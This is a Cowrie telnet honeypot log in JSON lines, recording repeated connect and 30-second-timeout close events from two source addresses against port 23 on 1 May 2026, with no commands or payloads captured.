{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54450,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ecba904635a","protocol":"telnet","message":"New connection: 208.115.200.90:54450 (10.17.0.5:23) [session: 1ecba904635a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.327000Z"}
{"eventid":"cowrie.session.closed","duration":30.784002542495728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.341316Z","src_ip":"208.115.200.90","session":"9d1e91981159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54456,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e821ff761e","protocol":"telnet","message":"New connection: 208.115.200.90:54456 (10.17.0.5:23) [session: e1e821ff761e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.470203Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54500,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2e5cf4e05b","protocol":"telnet","message":"New connection: 208.115.200.90:54500 (10.17.0.5:23) [session: ab2e5cf4e05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.549257Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a3801f1afe","protocol":"telnet","message":"New connection: 208.115.219.122:47532 (10.17.0.5:23) [session: 90a3801f1afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.718808Z"}
{"eventid":"cowrie.session.closed","duration":31.634029150009155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.742129Z","src_ip":"208.115.200.90","session":"4736f499695e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.249903678894043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.020996Z","src_ip":"208.115.200.90","session":"d5e3b7102e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c9ff209e53","protocol":"telnet","message":"New connection: 208.115.219.122:47696 (10.17.0.5:23) [session: d1c9ff209e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.094659Z"}
{"eventid":"cowrie.session.closed","duration":30.70296883583069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.152463Z","src_ip":"208.115.200.90","session":"8a1432c63d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.184139728546143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.162805Z","src_ip":"208.115.200.90","session":"ec4c0b85124a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5a4d8ee46a","protocol":"telnet","message":"New connection: 208.115.219.122:47744 (10.17.0.5:23) [session: 4e5a4d8ee46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.210960Z"}
{"eventid":"cowrie.session.closed","duration":31.01909637451172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.328768Z","src_ip":"208.115.200.90","session":"cbd8513f9eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54430,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c284351a4e6","protocol":"telnet","message":"New connection: 208.115.200.90:54430 (10.17.0.5:23) [session: 1c284351a4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.356874Z"}
{"eventid":"cowrie.session.closed","duration":31.348806619644165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.443195Z","src_ip":"208.115.200.90","session":"575c3660e611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54484,"dst_ip":"10.17.0.5","dst_port":23,"session":"5910ad0f3551","protocol":"telnet","message":"New connection: 208.115.200.90:54484 (10.17.0.5:23) [session: 5910ad0f3551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.549895Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47782,"dst_ip":"10.17.0.5","dst_port":23,"session":"3452c58e0de0","protocol":"telnet","message":"New connection: 208.115.219.122:47782 (10.17.0.5:23) [session: 3452c58e0de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.702523Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47800,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da84c620bf8","protocol":"telnet","message":"New connection: 208.115.219.122:47800 (10.17.0.5:23) [session: 4da84c620bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:57.879132Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01ce0f67e5d","protocol":"telnet","message":"New connection: 208.115.219.122:47842 (10.17.0.5:23) [session: e01ce0f67e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.052613Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47852,"dst_ip":"10.17.0.5","dst_port":23,"session":"0692ba6d7158","protocol":"telnet","message":"New connection: 208.115.219.122:47852 (10.17.0.5:23) [session: 0692ba6d7158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.122359Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47856,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56f9dd74056","protocol":"telnet","message":"New connection: 208.115.219.122:47856 (10.17.0.5:23) [session: a56f9dd74056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.174876Z"}
{"eventid":"cowrie.session.closed","duration":31.14638066291809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.271557Z","src_ip":"208.115.200.90","session":"080fc343ae5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382144927978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.360863Z","src_ip":"208.115.219.122","session":"e92d282eff9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04576587677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.389458Z","src_ip":"208.115.200.90","session":"b6fa8d615664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47434,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3feb63a4d8","protocol":"telnet","message":"New connection: 208.115.219.122:47434 (10.17.0.5:23) [session: 6b3feb63a4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.508321Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47886,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d8ce86f0a1","protocol":"telnet","message":"New connection: 208.115.219.122:47886 (10.17.0.5:23) [session: c7d8ce86f0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.611669Z"}
{"eventid":"cowrie.session.closed","duration":31.22724723815918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.616350Z","src_ip":"208.115.200.90","session":"5eb64c36be32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47464,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcb16760297","protocol":"telnet","message":"New connection: 208.115.219.122:47464 (10.17.0.5:23) [session: ddcb16760297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.634329Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15fa9a24f26","protocol":"telnet","message":"New connection: 208.115.200.90:54222 (10.17.0.5:23) [session: c15fa9a24f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.637360Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47894,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd92420f681","protocol":"telnet","message":"New connection: 208.115.219.122:47894 (10.17.0.5:23) [session: 7dd92420f681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.878536Z"}
{"eventid":"cowrie.session.closed","duration":31.324970245361328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:58.905527Z","src_ip":"208.115.200.90","session":"4a2c79f6b1c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592455863952637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.014724Z","src_ip":"208.115.219.122","session":"e31ad673fddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51080060005188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.037910Z","src_ip":"208.115.200.90","session":"6b72718563ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54150152206421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.088445Z","src_ip":"208.115.200.90","session":"438e92c195c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47948,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8d7562cf02","protocol":"telnet","message":"New connection: 208.115.219.122:47948 (10.17.0.5:23) [session: fa8d7562cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.110781Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54406,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd52d3c9e03f","protocol":"telnet","message":"New connection: 208.115.200.90:54406 (10.17.0.5:23) [session: bd52d3c9e03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.210423Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47988,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82a4484ae15","protocol":"telnet","message":"New connection: 208.115.219.122:47988 (10.17.0.5:23) [session: b82a4484ae15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.215759Z"}
{"eventid":"cowrie.session.closed","duration":30.898376941680908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.264701Z","src_ip":"208.115.219.122","session":"3333bd8b6979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057185173034668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.283005Z","src_ip":"208.115.200.90","session":"915672ef571f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14920949935913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.407484Z","src_ip":"208.115.200.90","session":"b58220faa468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1602725982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.471376Z","src_ip":"208.115.200.90","session":"92c3d3c84c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80079436302185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:59.531279Z","src_ip":"208.115.200.90","session":"2145538de2cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96446967124939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.031872Z","src_ip":"208.115.219.122","session":"20d70f4c3ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01957893371582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.037547Z","src_ip":"208.115.219.122","session":"992914adb169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78907799720764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.062099Z","src_ip":"208.115.219.122","session":"df4eab09cd48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516852617263794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.084940Z","src_ip":"208.115.200.90","session":"b83713f44a1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546040773391724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.146955Z","src_ip":"208.115.200.90","session":"ee64ccad8dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a557555429","protocol":"telnet","message":"New connection: 208.115.219.122:47956 (10.17.0.5:23) [session: e0a557555429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.169157Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0865add8f5","protocol":"telnet","message":"New connection: 208.115.219.122:48156 (10.17.0.5:23) [session: 8c0865add8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.236667Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48164,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4e606ed2595","protocol":"telnet","message":"New connection: 208.115.219.122:48164 (10.17.0.5:23) [session: b4e606ed2595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.246575Z"}
{"eventid":"cowrie.session.closed","duration":31.181475400924683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.295678Z","src_ip":"208.115.219.122","session":"28dbd6354fd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48166,"dst_ip":"10.17.0.5","dst_port":23,"session":"450ca4e09162","protocol":"telnet","message":"New connection: 208.115.219.122:48166 (10.17.0.5:23) [session: 450ca4e09162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.348932Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54752,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7206c163020","protocol":"telnet","message":"New connection: 208.115.200.90:54752 (10.17.0.5:23) [session: e7206c163020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:00.951402Z"}
{"eventid":"cowrie.session.closed","duration":30.92678189277649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.011242Z","src_ip":"208.115.219.122","session":"4613b22fbfaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82168745994568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.027350Z","src_ip":"208.115.200.90","session":"a0d62ae7b35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13373827934265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.034754Z","src_ip":"208.115.200.90","session":"640e5fdcdf9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.357459545135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.040476Z","src_ip":"208.115.219.122","session":"aeddbec31571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.105334281921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.064207Z","src_ip":"208.115.200.90","session":"50734bc9ebfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785411596298218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.098739Z","src_ip":"208.115.200.90","session":"d824bd13ec1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931793451309204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.107101Z","src_ip":"208.115.200.90","session":"0deccc4d2973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857845306396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.127460Z","src_ip":"208.115.200.90","session":"2f0e5d5dca76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508819818496704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.131646Z","src_ip":"208.115.200.90","session":"0e109dff4c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54762,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ffb6ac304b","protocol":"telnet","message":"New connection: 208.115.200.90:54762 (10.17.0.5:23) [session: 55ffb6ac304b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.147316Z"}
{"eventid":"cowrie.session.closed","duration":30.849449157714844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.158232Z","src_ip":"208.115.200.90","session":"70aec5b9c478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025226354599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.183638Z","src_ip":"208.115.200.90","session":"08679e198e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867881298065186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.195088Z","src_ip":"208.115.200.90","session":"014a50b98bb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48148,"dst_ip":"10.17.0.5","dst_port":23,"session":"8247ebd14585","protocol":"telnet","message":"New connection: 208.115.219.122:48148 (10.17.0.5:23) [session: 8247ebd14585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.200392Z"}
{"eventid":"cowrie.session.closed","duration":31.177592992782593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.217321Z","src_ip":"208.115.200.90","session":"94e43d863e4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df5f21e5011","protocol":"telnet","message":"New connection: 208.115.200.90:54810 (10.17.0.5:23) [session: 5df5f21e5011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.310023Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5375beb660d7","protocol":"telnet","message":"New connection: 208.115.200.90:54828 (10.17.0.5:23) [session: 5375beb660d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.406642Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54844,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0364fd46c0","protocol":"telnet","message":"New connection: 208.115.200.90:54844 (10.17.0.5:23) [session: 8c0364fd46c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.494329Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48282,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8459b8092d5","protocol":"telnet","message":"New connection: 208.115.219.122:48282 (10.17.0.5:23) [session: a8459b8092d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.523788Z"}
{"eventid":"cowrie.session.closed","duration":31.633638381958008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:01.956843Z","src_ip":"208.115.200.90","session":"c14e9fa68344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968984842300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.063950Z","src_ip":"208.115.200.90","session":"24eaabffd7c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54918,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de9b6f98ca7","protocol":"telnet","message":"New connection: 208.115.200.90:54918 (10.17.0.5:23) [session: 0de9b6f98ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.116367Z"}
{"eventid":"cowrie.session.closed","duration":31.102831840515137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.149979Z","src_ip":"208.115.219.122","session":"5885900c9a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654836177825928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.164270Z","src_ip":"208.115.200.90","session":"a3d4ebd15c0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16227674484253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.183819Z","src_ip":"208.115.219.122","session":"4a5505d37c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93331241607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.215101Z","src_ip":"208.115.200.90","session":"1eeb9ce29d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"411c02c633e9","protocol":"telnet","message":"New connection: 208.115.200.90:54944 (10.17.0.5:23) [session: 411c02c633e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.218942Z"}
{"eventid":"cowrie.session.closed","duration":30.38053870201111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.259442Z","src_ip":"208.115.200.90","session":"b149bff760f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54976,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4375e6ee6dd","protocol":"telnet","message":"New connection: 208.115.200.90:54976 (10.17.0.5:23) [session: f4375e6ee6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.328238Z"}
{"eventid":"cowrie.session.closed","duration":31.058319330215454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.368905Z","src_ip":"208.115.200.90","session":"8ba4dc4b5b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55018,"dst_ip":"10.17.0.5","dst_port":23,"session":"caec74a57c7d","protocol":"telnet","message":"New connection: 208.115.200.90:55018 (10.17.0.5:23) [session: caec74a57c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:02.380281Z"}
